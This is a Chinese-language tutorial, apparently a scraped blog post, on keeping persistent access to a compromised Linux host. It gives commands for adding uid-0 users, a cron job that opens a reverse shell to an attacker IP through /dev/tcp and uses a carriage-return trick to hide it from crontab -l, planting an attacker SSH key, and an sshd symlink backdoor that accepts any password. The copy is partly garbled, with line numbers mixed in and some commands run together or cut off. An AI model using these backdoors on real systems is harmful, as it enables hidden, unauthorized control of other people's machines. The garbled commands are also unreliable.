linux权限维持
添加uid=0的用户
创建用户
1
useradd hello;echo 'tide:123456' | chpasswd # 创建用户hello并修改密码为123456
修改文件
1
vi /etc/passwd # 修改passwd文件,将hello用户的uid改为0
添加普通用户
```shell
useradd -popenssl passwd -1 -salt 'salt' 123456hello1
2
3
4
5
6
7
使用useradd -p方法,通过 ` ` 存放可执行的系统命令;创建一个用户名为hello,密码为123456的普通用户;
- 使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户;
```shell
useradd -p "$(openssl passwd -1 123456)" chiyuchpasswd方法添加用户;
1
useradd chiyu;echo 'chiyu:123456'|chpasswd
echo -e方法添加用户;
1
useradd chiyu;echo -e "123456\n123456\n" |passwd chiyu
cron隐藏后门
创建文件a.sh
1
2! /bin/bash
bash -I >& /dev/tcp/攻击端ip/监听端口 0>&1创建文件b.sh
1
(crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -
赋予权限
1
2
3
4
5
6
7chmod 777 first.sh
chmod 777 second.sh
攻击端:
nc -l 监听端口 # 开启监听
被控端:
crontab -l # 查看定时任务
./second.sh # 执行隐藏后门文件,一分钟后攻击端监听的1234端口就会接收到shell注意
1
2cron每分钟都会读取一次/etc/crontab与/var/spool/cron文件内容,所以要时常注意这些文件;原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。
ssh公钥免密码登录
在攻击端生成密钥对 上传到被控端的 ~/.ssh/authorized_keys文件 并设置相应的权限
(1)攻击端: ssh -keygen -b 4096 -t rsa # 创建密钥对,生成id_rsa和id_rsa.pub文件
(2)被控端:mkdir ~/.ssh # 创建.ssh文件夹
(3)攻击端:ssh-copy-id -p 端口 root@被控端ip # 将攻击端的公钥发送给被控端 此过程 需要输入远程机器的密码 端口必须为没有被使用的
ssh软链接
对sshd建立软链接,可使用任意密码登录。
1
被控端 ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=1234
1
攻击端 ssh root@ip -p 1234 密码任意
软链接的路径与后门功能无关联,软链接的文件名会影响后门功能
如果直接启动/usr/sbin/sshd,系统默认会使用/etc/pam.d/sshd目录中的PAM的配置文件,而通过建立软链接的方式,PAM认证实际上是通过软链接定义的文件名(如/usr/local/su),在/etc/pam.d目录中去寻找对应的PAM配置文件(如/etc/pam.d/su)。
任意密码登录的核心是suth sufficient pam_rootok.so配置,除了su文件可成功利用,/etc/pam.d目录中只要PAM配置文件中包含此项配置,就可以SSH任意密码登录(比如我的系统除了su还有chfn、chsh、runuser)。

